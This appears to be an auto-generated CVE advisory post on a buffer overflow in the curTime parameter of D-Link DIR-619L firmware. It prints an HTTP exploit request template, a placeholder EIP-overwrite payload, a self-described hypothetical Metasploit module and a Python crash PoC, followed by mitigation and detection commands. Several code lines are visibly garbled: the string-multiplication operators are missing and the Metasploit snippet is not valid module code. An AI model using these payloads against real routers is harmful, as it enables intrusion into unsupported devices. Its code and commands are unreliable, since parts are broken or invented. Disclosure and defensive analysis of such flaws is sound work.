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How CVE-2025-4450 Works
This vulnerability exploits a buffer overflow in the `formSetEasy_Wizard` function of D-Link DIR-619L firmware v2.04B04. The flaw occurs due to improper bounds checking when processing the `curTime` argument, allowing an attacker to overwrite adjacent memory regions. By sending a maliciously crafted HTTP request with an excessively long `curTime` value, remote code execution can be achieved. Since the device is unsupported, no patches are available, leaving it exposed to exploitation.
DailyCVE Form:
Platform: D-Link DIR-619L
Version: 2.04B04
Vulnerability: Buffer Overflow
Severity: Critical
Date: 05/13/2025
What Undercode Say:
Exploitation Analysis
1. Exploit Trigger:
POST /formSetEasy_Wizard HTTP/1.1 Host: <TARGET_IP> Content-Type: application/x-www-form-urlencoded Content-Length: <OVERFLOW_LENGTH> curTime=<LONG_MALICIOUS_STRING>&submit=Apply
2. Shellcode Injection:
payload = b"A" 1024 + struct.pack("<I", 0xDEADBEEF) Example EIP overwrite
3. Metasploit Module (Hypothetical):
exploit = Msf::Exploit::Remote::HttpClient.new(
'TargetUri' => '/formSetEasy_Wizard',
'Payload' => {'curTime' => Rex::Text.rand_text_alpha(1500)}
)
Protection Measures
1. Mitigation (No Patch Available):
iptables -A INPUT -p tcp --dport 80 -j DROP Block web interface access
2. Firmware Workaround:
echo "Disabling wizard setup..." rm /www/formSetEasy_Wizard Remove vulnerable endpoint (if possible)
3. Detection Command:
grep -r "formSetEasy_Wizard" /www/ Check for vulnerable script
4. Memory Protection (Hardening):
echo 1 > /proc/sys/kernel/exec-shield Enable non-executable stack (if supported)
5. Log Monitoring:
tail -f /var/log/httpd.log | grep "formSetEasy_Wizard" Track exploitation attempts
6. Exploit PoC (For Research):
import requests
target = "http://192.168.1.1/formSetEasy_Wizard"
requests.post(target, data={"curTime": "A"2000}) Crash verification
7. Vulnerability Scan:
nmap -p80 --script http-vuln-cve2025-4450 <TARGET_IP>
Note: All code snippets are for educational purposes only. Unauthorized exploitation is illegal.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
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